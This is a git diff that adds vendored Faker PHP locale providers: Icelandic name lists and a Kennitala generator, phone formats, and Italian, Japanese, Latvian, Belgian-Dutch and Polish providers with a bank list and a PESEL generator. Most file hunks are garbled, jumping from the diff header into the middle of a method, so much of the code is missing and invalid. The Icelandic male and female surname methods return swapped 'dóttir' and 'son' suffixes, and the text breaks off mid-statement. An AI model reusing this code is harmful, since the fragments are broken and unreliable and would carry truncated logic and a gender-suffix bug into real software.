'Kilían', 'Kiljan', 'Kjalar', 'Kjallakur', 'Kjaran', 'Kjartan', 'Kjarval', 'Kjárr', 'Kjói', 'Klemens', 'Klemenz', 'Klængur', 'Knútur', 'Knörr', 'Koðrán', 'Koggi', 'Kolbeinn', 'Kolbjörn', 'Kolfinnur', 'Kolgrímur', 'Kolmar', 'Kolskeggur', 'Kolur', 'Kolviður', 'Konráð', 'Konstantínus', 'Kormákur', 'Kornelíus', 'Kort', 'Kópur', 'Kraki', 'Kris', 'Kristall', 'Kristberg', 'Kristbergur', 'Kristbjörn', 'Kristdór', 'Kristens', 'Krister', 'Kristfinnur', 'Kristgeir', 'Kristian', 'Kristinn', 'Kristján', 'Kristjón', 'Kristlaugur', 'Kristleifur', 'Kristmann', 'Kristmar', 'Kristmundur', 'Kristofer', 'Kristófer', 'Kristvaldur', 'Kristvarður', 'Kristvin', 'Kristþór', 'Krummi', 'Kveldúlfur', 'Lambert', 'Lars', 'Laufar', 'Laugi', 'Lauritz', 'Lár', 'Lárent', 'Lárentíus', 'Lárus', 'Leiðólfur', 'Leif', 'Leifur', 'Leiknir', 'Leo', 'Leon', 'Leonard', 'Leonhard', 'Leó', 'Leópold', 'Leví', 'Lér', 'Liljar', 'Lindar', 'Lindberg', 'Línberg', 'Líni', 'Ljósálfur', 'Ljótur', 'Ljúfur', 'Loðmundur', 'Loftur', 'Logi', 'Loki', 'Lórens', 'Lórenz', 'Ludvig', 'Lundi', 'Lúðvíg', 'Lúðvík', 'Lúkas', 'Lúter', 'Lúther', 'Lyngar', 'Lýður', 'Lýtingur', 'Maggi', 'Magngeir', 'Magni', 'Magnús', 'Magnþór', 'Makan', 'Manfred', 'Manfreð', 'Manúel', 'Mar', 'Marbjörn', 'Marel', 'Margeir', 'Margrímur', 'Mari', 'Marijón', 'Marinó', 'Marías', 'Marínó', 'Marís', 'Maríus', 'Marjón', 'Markó', 'Markús', 'Markþór', 'Maron', 'Marri', 'Mars', 'Marsellíus', 'Marteinn', 'Marten', 'Marthen', 'Martin', 'Marvin', 'Mathías', 'Matthías', 'Matti', 'Mattías', 'Max', 'Maximus', 'Máni', 'Már', 'Márus', 'Mekkinó', 'Melkíor', 'Melkólmur', 'Melrakki', 'Mensalder', 'Merkúr', 'Methúsalem', 'Metúsalem', 'Meyvant', 'Michael', 'Mikael', 'Mikjáll', 'Mikkael', 'Mikkel', 'Mildinberg', 'Mías', 'Mímir', 'Míó', 'Mír', 'Mjöllnir', 'Mjölnir', 'Moli', 'Morgan', 'Moritz', 'Mosi', 'Móði', 'Móri', 'Mórits', 'Móses', 'Muggur', 'Muni', 'Muninn', 'Múli', 'Myrkvi', 'Mýrkjartan', 'Mörður', 'Narfi', 'Natan', 'Natanael', 'Nataníel', 'Náttmörður', 'Náttúlfur', 'Neisti', 'Nenni', 'Neptúnus', 'Nicolas', 'Nikanor', 'Nikolai', 'Nikolas', 'Nikulás', 'Nils', 'Níels', 'Níls', 'Njáll', 'Njörður', 'Nonni', 'Norbert', 'Norðmann', 'Normann', 'Nóam', 'Nóel', 'Nói', 'Nóni', 'Nóri', 'Nóvember', 'Númi', 'Nývarð', 'Nökkvi', 'Oddbergur', 'Oddbjörn', 'Oddfreyr', 'Oddgeir', 'Oddi', 'Oddkell', 'Oddleifur', 'Oddmar', 'Oddsteinn', 'Oddur', 'Oddvar', 'Oddþór', 'Oktavíus', 'Októ', 'Októvíus', 'Olaf', 'Olav', 'Olgeir', 'Oliver', 'Olivert', 'Orfeus', 'Ormar', 'Ormur', 'Orri', 'Orvar', 'Otkell', 'Otri', 'Otti', 'Ottó', 'Otur', 'Óðinn', 'Ófeigur', 'Ólafur', 'Óli', 'Óliver', 'Ólíver', 'Ómar', 'Ómi', 'Óskar', 'Ósvald', 'Ósvaldur', 'Ósvífur', 'Óttar', 'Óttarr', 'Parmes', 'Patrek', 'Patrekur', 'Patrick', 'Patrik', 'Páll', 'Pálmar', 'Pálmi', 'Pedró', 'Per', 'Peter', 'Pétur', 'Pjetur', 'Príor', 'Rafael', 'Rafn', 'Rafnar', 'Rafnkell', 'Ragnar', 'Ragúel', 'Randver', 'Rannver', 'Rasmus', 'Ráðgeir', 'Ráðvarður', 'Refur', 'Reginbaldur', 'Reginn', 'Reidar', 'Reifnir', 'Reimar', 'Reinar', 'Reinhart', 'Reinhold', 'Reynald', 'Reynar', 'Reynir', 'Reyr', 'Richard', 'Rikharð', 'Rikharður', 'Ríkarður', 'Ríkharð', 'Ríkharður', 'Ríó', 'Robert', 'Rolf', 'Ronald', 'Róbert', 'Rólant', 'Róman', 'Rómeó', 'Rósant', 'Rósar', 'Rósberg', 'Rósenberg', 'Rósi', 'Rósinberg', 'Rósinkar', 'Rósinkrans', 'Rósmann', 'Rósmundur', 'Rudolf', 'Runi', 'Runólfur', 'Rúbar', 'Rúben', 'Rúdólf', 'Rúnar', 'Rúrik', 'Rútur', 'Röðull', 'Rögnvald', 'Rögnvaldur', 'Rögnvar', 'Rökkvi', 'Safír', 'Sakarías', 'Salmann', 'Salmar', 'Salómon', 'Salvar', 'Samson', 'Samúel', 'Sandel', 'Sandri', 'Sandur', 'Saxi', 'Sebastian', 'Sebastían', 'Seifur', 'Seimur', 'Sesar', 'Sesil', 'Sigbergur', 'Sigbert', 'Sigbjartur', 'Sigbjörn', 'Sigdór', 'Sigfastur', 'Sigfinnur', 'Sigfreður', 'Sigfús', 'Siggeir', 'Sighvatur', 'Sigjón', 'Siglaugur', 'Sigmann', 'Sigmar', 'Sigmundur', 'Signar', 'Sigri', 'Sigríkur', 'Sigsteinn', 'Sigtryggur', 'Sigtýr', 'Sigur', 'Sigurbaldur', 'Sigurberg', 'Sigurbergur', 'Sigurbjarni', 'Sigurbjartur', 'Sigurbjörn', 'Sigurbrandur', 'Sigurdór', 'Sigurður', 'Sigurfinnur', 'Sigurgeir', 'Sigurgestur', 'Sigurgísli', 'Sigurgrímur', 'Sigurhans', 'Sigurhjörtur', 'Sigurjón', 'Sigurkarl', 'Sigurlaugur', 'Sigurlás', 'Sigurleifur', 'Sigurliði', 'Sigurlinni', 'Sigurmann', 'Sigurmar', 'Sigurmon', 'Sigurmundur', 'Sigurnýas', 'Sigurnýjas', 'Siguroddur', 'Siguróli', 'Sigurpáll', 'Sigursteinn', 'Sigursveinn', 'Sigurvaldi', 'Sigurvin', 'Sigurþór', 'Sigvaldi', 'Sigvarður', 'Sigþór', 'Silli', 'Sindri', 'Símon', 'Sírnir', 'Sírus', 'Sívar', 'Sjafnar', 'Skafti', 'Skapti', 'Skarphéðinn', 'Skefill', 'Skeggi', 'Skíði', 'Skírnir', 'Skjöldur', 'Skorri', 'Skuggi', 'Skúli', 'Skúta', 'Skær', 'Skæringur', 'Smári', 'Smiður', 'Smyrill', 'Snjóki', 'Snjólaugur', 'Snjólfur', 'Snorri', 'Snæbjartur', 'Snæbjörn', 'Snæhólm', 'Snælaugur', 'Snær', 'Snæringur', 'Snævar', 'Snævarr', 'Snæþór', 'Soffanías', 'Sophanías', 'Sophus', 'Sófónías', 'Sófus', 'Sókrates', 'Sólberg', 'Sólbergur', 'Sólbjartur', 'Sólbjörn', 'Sólimann', 'Sólmar', 'Sólmundur', 'Sólon', 'Sólver', 'Sólvin', 'Spartakus', 'Sporði', 'Spói', 'Stanley', 'Stapi', 'Starkaður', 'Starri', 'Stefan', 'Stefán', 'Stefnir', 'Steinar', 'Steinarr', 'Steinberg', 'Steinbergur', 'Steinbjörn', 'Steindór', 'Steinfinnur', 'Steingrímur', 'Steini', 'Steinkell', 'Steinmann', 'Steinmar', 'Steinmóður', 'Steinn', 'Steinólfur', 'Steinröður', 'Steinvarður', 'Steinþór', 'Stirnir', 'Stígur', 'Stormur', 'Stórólfur', 'Sturla', 'Sturlaugur', 'Sturri', 'Styr', 'Styrbjörn', 'Styrkár', 'Styrmir', 'Styrr', 'Sumarliði', 'Svafar', 'Svali', 'Svan', 'Svanberg', 'Svanbergur', 'Svanbjörn', 'Svangeir', 'Svanhólm', 'Svani', 'Svanlaugur', 'Svanmundur', 'Svanur', 'Svanþór', 'Svavar', 'Sváfnir', 'Sveinar', 'Sveinberg', 'Sveinbjartur', 'Sveinbjörn', 'Sveinjón', 'Sveinlaugur', 'Sveinmar', 'Sveinn', 'Sveinungi', 'Sveinþór', 'Svend', 'Sverre', 'Sverrir', 'Svölnir', 'Svörfuður', 'Sýrus', 'Sæberg', 'Sæbergur', 'Sæbjörn', 'Sæi', 'Sælaugur', 'Sæmann', 'Sæmundur', 'Sær', 'Sævald', 'Sævaldur', 'Sævar', 'Sævarr', 'Sævin', 'Sæþór', 'Sölmundur', 'Sölvar', 'Sölvi', 'Sören', 'Sörli', 'Tandri', 'Tarfur', 'Teitur', 'Theodór', 'Theódór', 'Thomas', 'Thor', 'Thorberg', 'Thór', 'Tindar', 'Tindri', 'Tindur', 'Tinni', 'Tími', 'Tímon', 'Tímoteus', 'Tímóteus', 'Tístran', 'Tjaldur', 'Tjörfi', 'Tjörvi', 'Tobías', 'Tolli', 'Tonni', 'Torfi', 'Tóbías', 'Tói', 'Tóki', 'Tómas', 'Tór', 'Trausti', 'Tristan', 'Trostan', 'Trúmann', 'Tryggvi', 'Tumas', 'Tumi', 'Tyrfingur', 'Týr', 'Ubbi', 'Uggi', 'Ulrich', 'Uni', 'Unnar', 'Unnbjörn', 'Unndór', 'Unnsteinn', 'Unnþór', 'Urðar', 'Uxi', 'Úddi', 'Úlfar', 'Úlfgeir', 'Úlfhéðinn', 'Úlfkell', 'Úlfljótur', 'Úlftýr', 'Úlfur', 'Úlrik', 'Úranus', 'Vagn', 'Vakur', 'Valberg', 'Valbergur', 'Valbjörn', 'Valbrandur', 'Valdemar', 'Valdi', 'Valdimar', 'Valdór', 'Valentín', 'Valentínus', 'Valgarð', 'Valgarður', 'Valgeir', 'Valíant', 'Vallaður', 'Valmar', 'Valmundur', 'Valsteinn', 'Valter', 'Valtýr', 'Valur', 'Valves', 'Valþór', 'Varmar', 'Vatnar', 'Váli', 'Vápni', 'Veigar', 'Veigur', 'Ver', 'Vermundur', 'Vernharð', 'Vernharður', 'Vestar', 'Vestmar', 'Veturliði', 'Vébjörn', 'Végeir', 'Vékell', 'Vélaugur', 'Vémundur', 'Vésteinn', 'Victor', 'Viðar', 'Vigfús', 'Viggó', 'Vignir', 'Vigri', 'Vigtýr', 'Vigur', 'Vikar', 'Viktor', 'Vilberg', 'Vilbergur', 'Vilbert', 'Vilbjörn', 'Vilbogi', 'Vilbrandur', 'Vilgeir', 'Vilhelm', 'Vilhjálmur', 'Vili', 'Viljar', 'Vilji', 'Villi', 'Vilmar', 'Vilmundur', 'Vincent', 'Vinjar', 'Virgill', 'Víðar', 'Víðir', 'Vífill', 'Víglundur', 'Vígmar', 'Vígmundur', 'Vígsteinn', 'Vígþór', 'Víkingur', 'Vopni', 'Vorm', 'Vöggur', 'Völundur', 'Vörður', 'Vöttur', 'Walter', 'Werner', 'Wilhelm', 'Willard', 'William', 'Willum', 'Ylur', 'Ymir', 'Yngvar', 'Yngvi', 'Yrkill', 'Ýmir', 'Ýrar', 'Zakaría', 'Zakarías', 'Zophanías', 'Zophonías', 'Zóphanías', 'Zóphonías', 'Þangbrandur', 'Þengill', 'Þeyr', 'Þiðrandi', 'Þiðrik', 'Þinur', 'Þjálfi', 'Þjóðann', 'Þjóðbjörn', 'Þjóðgeir', 'Þjóðleifur', 'Þjóðmar', 'Þjóðólfur', 'Þjóðrekur', 'Þjóðvarður', 'Þjóstar', 'Þjóstólfur', 'Þorberg', 'Þorbergur', 'Þorbjörn', 'Þorbrandur', 'Þorfinnur', 'Þorgarður', 'Þorgautur', 'Þorgeir', 'Þorgestur', 'Þorgils', 'Þorgísl', 'Þorgnýr', 'Þorgrímur', 'Þorkell', 'Þorlaugur', 'Þorlákur', 'Þorleifur', 'Þorleikur', 'Þormar', 'Þormóður', 'Þormundur', 'Þorri', 'Þorsteinn', 'Þorvaldur', 'Þorvar', 'Þorvarður', 'Þór', 'Þórar', 'Þórarinn', 'Þórbergur', 'Þórbjörn', 'Þórður', 'Þórgnýr', 'Þórgrímur', 'Þórhaddur', 'Þórhalli', 'Þórhallur', 'Þórir', 'Þórlaugur', 'Þórleifur', 'Þórlindur', 'Þórmar', 'Þórmundur', 'Þóroddur', 'Þórormur', 'Þórólfur', 'Þórsteinn', 'Þórörn', 'Þrastar', 'Þráinn', 'Þrándur', 'Þróttur', 'Þrúðmar', 'Þrymur', 'Þröstur', 'Þyrnir', 'Ægir', 'Æsir', 'Ævar', 'Ævarr', 'Ögmundur', 'Ögri', 'Ölnir', 'Ölver', 'Ölvir', 'Öndólfur', 'Önundur', 'Örlaugur', 'Örlygur', 'Örn', 'Örnólfur', 'Örvar', 'Össur', 'Öxar'); + + /** + * @var string Icelandic middle names. + */ + protected static $middleName = array( + 'Aðaldal', 'Aldan', 'Arnberg', 'Arnfjörð', 'Austan', 'Austdal', 'Austfjörð', 'Áss', 'Bakkdal', 'Bakkmann', 'Bald', 'Ben', 'Bergholt', 'Bergland', 'Bíldsfells', 'Bjarg', 'Bjarndal', 'Bjarnfjörð', 'Bláfeld', 'Blómkvist', 'Borgdal', 'Brekkmann', 'Brim', 'Brúnsteð', 'Dalhoff', 'Dan', 'Diljan', 'Ektavon', 'Eldberg', 'Elísberg', 'Elvan', 'Espólín', 'Eyhlíð', 'Eyvík', 'Falk', 'Finndal', 'Fossberg', 'Freydal', 'Friðhólm', 'Giljan', 'Gilsfjörð', 'Gnarr', 'Gnurr', 'Grendal', 'Grindvík', 'Gull', 'Haffjörð', 'Hafnes', 'Hafnfjörð', 'Har', 'Heimdal', 'Heimsberg', 'Helgfell', 'Herberg', 'Hildiberg', 'Hjaltdal', 'Hlíðkvist', 'Hnappdal', 'Hnífsdal', 'Hofland', 'Hofteig', 'Hornfjörð', 'Hólmberg', 'Hrafnan', 'Hrafndal', 'Hraunberg', 'Hreinberg', 'Hreindal', 'Hrútfjörð', 'Hvammdal', 'Hvítfeld', 'Höfðdal', 'Hörðdal', 'Íshólm', 'Júl', 'Kjarrval', 'Knaran', 'Knarran', 'Krossdal', 'Laufkvist', 'Laufland', 'Laugdal', 'Laxfoss', 'Liljan', 'Linddal', 'Línberg', 'Ljós', 'Loðmfjörð', 'Lyngberg', 'Magdal', 'Magg', 'Matt', 'Miðdal', 'Miðvík', 'Mjófjörð', 'Móberg', 'Mýrmann', 'Nesmann', 'Norðland', 'Núpdal', 'Ólfjörð', 'Ósland', 'Ósmann', 'Reginbald', 'Reykfell', 'Reykfjörð', 'Reynholt', 'Salberg', 'Sandhólm', 'Seljan', 'Sigurhólm', 'Skagalín', 'Skíðdal', 'Snæberg', 'Snædahl', 'Sólan', 'Stardal', 'Stein', 'Steinbekk', 'Steinberg', 'Storm', 'Straumberg', 'Svanhild', 'Svarfdal', 'Sædal', 'Val', 'Valagils', 'Vald', 'Varmdal', 'Vatnsfjörð', 'Vattar', 'Vattnes', 'Viðfjörð', 'Vídalín', 'Víking', 'Vopnfjörð', 'Yngling', 'Þor', 'Önfjörð', 'Örbekk', 'Öxdal', 'Öxndal' + ); + + /** + * Randomly return a icelandic middle name. + * + * @return string + */ + public static function middleName() + { + return static::randomElement(static::$middleName); + } + + /** + * Generate prepared last name for further processing + * + * @return string + */ + public function lastName() + { + $name = static::firstNameMale(); + + if (substr($name, -2) === 'ur') { + $name = substr($name, 0, strlen($name) - 2); + } + + if (substr($name, -1) !== 's') { + $name .= 's'; + } + + return $name; + } + + /** + * Randomly return a icelandic last name for woman. + * + * @return string + */ + public function lastNameMale() + { + return $this->lastName().'dóttir'; + } + + /** + * Randomly return a icelandic last name for man. + * + * @return string + */ + public function lastNameFemale() + { + return $this->lastName().'son'; + } + + /** + * Randomly return a icelandic Kennitala (Social Security number) format. + * + * @link http://en.wikipedia.org/wiki/Kennitala + * + * @return string + */ + public static function ssn() + { + // random birth date + $birthdate = new \DateTime('@' . mt_rand(0, time())); + + // last four buffer + $lastFour = null; + + // security variable reference + $ref = '32765432'; + + // valid flag + $valid = false; + + while (! $valid) { + // make two random numbers + $rand = static::randomDigit().static::randomDigit(); + + // 8 char string with birth date and two random numbers + $tmp = $birthdate->format('dmy').$rand; + + // loop through temp string + for ($i = 7, $sum = 0; $i >= 0; $i--) { + // calculate security variable + $sum += ($tmp[$i] * $ref[$i]); + } + + // subtract 11 if not 11 + $chk = ($sum % 11 === 0) ? 0 : (11 - ($sum % 11)); + + if ($chk < 10) { + $lastFour = $rand.$chk.substr($birthdate->format('Y'), 1, 1); + + $valid = true; + } + } + + return sprintf('%s-%s', $birthdate->format('dmy'), $lastFour); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/is_IS/PhoneNumber.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/is_IS/PhoneNumber.php new file mode 100644 index 00000000..08fdc9e4 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/is_IS/PhoneNumber.php @@ -0,0 +1,20 @@ + + */ +class PhoneNumber extends \Faker\Provider\PhoneNumber +{ + /** + * @var array Icelandic phonenumber formats. + */ + protected static $formats = array( + '+354 ### ####', + '+354 #######', + '+354#######', + '### ####', + '#######', + ); +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/it_IT/Address.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/it_IT/Address.php new file mode 100644 index 00000000..ebfcac06 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/it_IT/Address.php @@ -0,0 +1,97 @@ +generator->parse($format)))); + } + + /** + * Converts Italian characters to their ASCII representation + * + * @return string + */ + private static function toAscii($string) + { + $from = array('à', 'À', 'é', 'É', 'è', 'È', 'ù', 'Ù', "'"); + $to = array('a', 'A', 'e', 'E', 'e', 'E', 'u', 'U', ''); + + return str_replace($from, $to, $string); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/it_IT/Payment.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/it_IT/Payment.php new file mode 100644 index 00000000..cd2557b5 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/it_IT/Payment.php @@ -0,0 +1,19 @@ +generator->parse($format); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ja_JP/Company.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ja_JP/Company.php new file mode 100644 index 00000000..937f375f --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ja_JP/Company.php @@ -0,0 +1,17 @@ +generator->parse($format)); + } + + /** + * @example 'yamada.jp' + */ + public function domainName() + { + return static::randomElement(static::$lastNameAscii) . '.' . $this->tld(); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ja_JP/Person.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ja_JP/Person.php new file mode 100644 index 00000000..84b18b75 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ja_JP/Person.php @@ -0,0 +1,85 @@ +generator->parse($format); + } + + /** + * @example 'アオタ' + */ + public static function firstKanaName() + { + return static::randomElement(static::$firstKanaName); + } + + /** + * @example 'アキラ' + */ + public static function lastKanaName() + { + return static::randomElement(static::$lastKanaName); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ja_JP/PhoneNumber.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ja_JP/PhoneNumber.php new file mode 100644 index 00000000..f4230d1b --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ja_JP/PhoneNumber.php @@ -0,0 +1,12 @@ +generator->parse($format); + } + + public static function country() + { + return static::randomElement(static::$country); + } + + public static function postcode() + { + return static::toUpper(static::bothify(static::randomElement(static::$postcode))); + } + + public static function regionSuffix() + { + return static::randomElement(static::$regionSuffix); + } + + public static function region() + { + return static::randomElement(static::$region); + } + + public static function cityPrefix() + { + return static::randomElement(static::$cityPrefix); + } + + public function city() + { + return static::randomElement(static::$city); + } + + public static function streetPrefix() + { + return static::randomElement(static::$streetPrefix); + } + + public static function street() + { + return static::randomElement(static::$street); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/lv_LV/Internet.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/lv_LV/Internet.php new file mode 100644 index 00000000..20483159 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/lv_LV/Internet.php @@ -0,0 +1,32 @@ +generator->parse($format)); + } + + /** + * @example 'faber' + */ + public function domainWord() + { + $company = $this->generator->format('company'); + $companyElements = explode(' ', $company); + $company = $companyElements[0]; + $company = preg_replace('/,/u', '', $company); + + return $company; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/lv_LV/Payment.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/lv_LV/Payment.php new file mode 100644 index 00000000..fda738b5 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/lv_LV/Payment.php @@ -0,0 +1,19 @@ +bothify("??######"); + } + + public function passportNumber() + { + return $this->bothify("??#######"); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/lv_LV/PhoneNumber.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/lv_LV/PhoneNumber.php new file mode 100644 index 00000000..f6b61486 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/lv_LV/PhoneNumber.php @@ -0,0 +1,13 @@ +generator->parse($format)))); + } + + /** + * @example 'faber' + */ + public function domainWord() + { + $company = $this->generator->format('company'); + $companyElements = explode(' ', $company); + $company = $companyElements[0]; + $company = preg_replace('/\W/u', '', $company); + + return static::toLower(static::toAscii($company)); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/nl_BE/Payment.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/nl_BE/Payment.php new file mode 100644 index 00000000..d587e675 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/nl_BE/Payment.php @@ -0,0 +1,19 @@ +toAscii(parent::email()); + } + + /** + * @example 'dominika16' + */ + public function userName() + { + return $this->toAscii(parent::userName()); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/pl_PL/Payment.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/pl_PL/Payment.php new file mode 100644 index 00000000..cc5f9581 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/pl_PL/Payment.php @@ -0,0 +1,120 @@ + 'Aareal Bank Aktiengesellschaft (Spółka Akcyjna) - Oddział w Polsce', + '249' => 'Alior Bank SA', + '247' => 'Banco Espirito Santo de Investimento, S.A. Spółka Akcyjna Oddział w Polsce', + '238' => 'Banco Mais S.A. (SA) Oddział w Polsce', + '106' => 'Bank BPH SA', + '219' => 'Bank DnB NORD Polska SA', + '203' => 'Bank Gospodarki Żywnościowej SA', + '113' => 'Bank Gospodarstwa Krajowego', + '122' => 'Bank Handlowo - Kredytowy SA (w likwidacji 31.03.92)', + '103' => 'Bank Handlowy w Warszawie SA', + '116' => 'Bank Millennium SA', + '154' => 'Bank Ochrony Środowiska SA', + '260' => 'Bank of China (Luxembourg)S.A. Spółka Akcyjna Oddział w Polsce', + '221' => 'Bank of Tokyo-Mitsubishi UFJ (Polska) SA', + '132' => 'Bank Pocztowy SA', + '124' => 'Bank Polska Kasa Opieki SA', + '193' => 'BANK POLSKIEJ SPÓŁDZIELCZOŚCI SA', + '109' => 'Bank Zachodni WBK SA', + '224' => 'Banque PSA Finance SA Oddział w Polsce', + '160' => 'BNP PARIBAS BANK POLSKA SA', + '235' => 'BNP PARIBAS SA Oddział w Polsce', + '243' => 'BNP Paribas Securities Services SKAOddział w Polsce', + '229' => 'BPI Bank Polskich Inwestycji SA', + '215' => 'BRE Bank Hipoteczny SA', + '114' => 'BRE Bank SA', + '239' => 'CAIXABANK, S.A. (SPÓŁKA AKCYJNA)ODDZIAŁ W POLSCE', + '254' => 'Citibank Europe plc (Publiczna Spółka Akcyjna) Oddział w Polsce', + '194' => 'Credit Agricole Bank Polska SA', + '252' => 'CREDIT SUISSE (LUXEMBOURG) S.A. Spółka Akcyjna, Oddział w Polsce', + '236' => 'Danske Bank A/S SA Oddział w Polsce', + '191' => 'Deutsche Bank PBC SA', + '188' => 'Deutsche Bank Polska SA', + '174' => 'DZ BANK Polska SA', + '241' => 'Elavon Financial Services Limited (Spółka z ograniczoną odpowiedzialnością) Oddział w Polsce', + '147' => 'Euro Bank SA', + '265' => 'EUROCLEAR Bank SA/NV (Spółka Akcyjna) - Oddział w Polsce', + '207' => 'FCE Bank Polska SA', + '214' => 'Fiat Bank Polska SA', + '253' => 'FM Bank SA', + '248' => 'Getin Noble Bank SA', + '128' => 'HSBC Bank Polska SA', + '195' => 'Idea Bank SA', + '255' => 'Ikano Bank GmbH (Sp. z o.o.) Oddział w Polsce', + '262' => 'Industrial and Commercial Bank of China (Europe) S.A. (Spółka Akcyjna) Oddział w Polsce', + '105' => 'ING Bank Śląski SA', + '266' => 'Intesa Sanpaolo S.p.A. Spółka Akcyjna Oddział w Polsce', + '168' => 'INVEST - BANK SA', + '258' => 'J.P. Morgan Europe Limited Sp. z o.o. Oddział w Polsce', + '158' => 'Mercedes-Benz Bank Polska SA', + '130' => 'Meritum Bank ICB SA', + '101' => 'Narodowy Bank Polski', + '256' => 'Nordea Bank AB SA Oddział w Polsce', + '144' => 'NORDEA BANK POLSKA SA', + '232' => 'Nykredit Realkredit A/S SA - Oddział w Polsce', + '189' => 'Pekao Bank Hipoteczny SA', + '187' => 'Polski Bank Przedsiębiorczości SA', + '102' => 'Powszechna Kasa Oszczędności Bank Polski SA', + '200' => 'Rabobank Polska SA', + '175' => 'Raiffeisen Bank Polska SA', + '167' => 'RBS Bank (Polska) SA', + '264' => 'RCI Banque Spółka Akcyjna Oddział w Polsce', + '212' => 'Santander Consumer Bank SA', + '263' => 'Saxo Bank A/S Spółka Akcyjna Oddział w Polsce', + '161' => 'SGB-Bank SA', + '237' => 'Skandinaviska Enskilda Banken AB (SA) - Oddział w Polsce', + '184' => 'Societe Generale SA Oddział w Polsce', + '225' => 'Svenska Handelsbanken AB SA Oddział w Polsce', + '227' => 'Sygma Banque Societe Anonyme (SA) Oddział w Polsce', + '216' => 'Toyota Bank Polska SA', + '257' => 'UBS Limited (spółka z ograniczoną odpowiedzialnością) Oddział w Polsce', + '261' => 'Vanquis Bank Limited (spółka z ograniczoną odpowiedzialnością) Oddział w Polsce', + '213' => 'VOLKSWAGEN BANK POLSKA SA', + ); + + /** + * @example 'Euro Bank SA' + */ + public static function bank() + { + return static::randomElement(static::$banks); + } + + /** + * International Bank Account Number (IBAN) + * @link http://en.wikipedia.org/wiki/International_Bank_Account_Number + * @param string $prefix for generating bank account number of a specific bank + * @param string $countryCode ISO 3166-1 alpha-2 country code + * @param integer $length total length without country code and 2 check digits + * @return string + */ + public static function bankAccountNumber($prefix = '', $countryCode = 'PL', $length = null) + { + return static::iban($countryCode, $prefix, $length); + } + + protected static function addBankCodeChecksum($iban, $countryCode = 'PL') + { + if ($countryCode != "PL" || strlen($iban) <= 8) { + return $iban; + } + $checksum = 0; + $weights = array(7, 1, 3, 9, 7, 1, 3); + for ($i = 0; $i < 7; $i++) { + $checksum += $weights[$i] * (int) $iban[$i]; + } + $checksum = $checksum % 10; + + return substr($iban, 0, 7) . $checksum . substr($iban, 8); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/pl_PL/Person.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/pl_PL/Person.php new file mode 100644 index 00000000..3c340df4 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/pl_PL/Person.php @@ -0,0 +1,226 @@ +generator->parse(static::randomElement(static::$lastNameFormat)); + } + + public static function lastNameMale() + { + return static::randomElement(static::$lastNameMale); + } + + public static function lastNameFemale() + { + return static::randomElement(static::$lastNameFemale); + } + + public function title($gender = null) + { + return static::randomElement(static::$title); + } + + /** + * replaced by specific unisex Polish title + */ + public static function titleMale() + { + return static::title(); + } + + /** + * replaced by specific unisex Polish title + */ + public static function titleFemale() + { + return static::title(); + } + + /** + * PESEL - Universal Electronic System for Registration of the Population + * @link http://en.wikipedia.org/wiki/PESEL + * @param DateTime $birthdate + * @param string $sex M for male or F for female + * @return string 11 digit number, like 44051401358 + */ + public static function pesel($birthdate = null, $sex = null) + { + if ($birthdate === null) { + $birthdate = \Faker\Provider\DateTime::dateTimeThisCentury(); + } + + $weights = array(1, 3, 7, 9, 1, 3, 7, 9, 1, 3); + $length = count($weights); + + $fullYear = (int) $birthdate->format('Y'); + $year = (int) $birthdate->format('y'); + $month = $birthdate->format('m') + (((int) ($fullYear/100) - 14) % 5) * 20; + $day = $birthdate->format('d'); + + $result = array((int) ($year / 10), $year % 10, (int) ($month / 10), $month % 10, (int) ($day / 10), $day % 10); + + for ($i = 6; $i < $length; $i++) { + $result[$i] = static::randomDigit(); + } + if ($sex == "M") { + $result[$length - 1] |= 1; + } elseif ($sex == "F") { + $result[$length - 1] ^= 1; + } + $checksum = 0; + for ($i = 0; $i < $length; $i++) { + $checksum += $weights[$i] * $result[$i]; + } + $checksum = (10 - ($checksum % 10)) % 10; + $result[] = 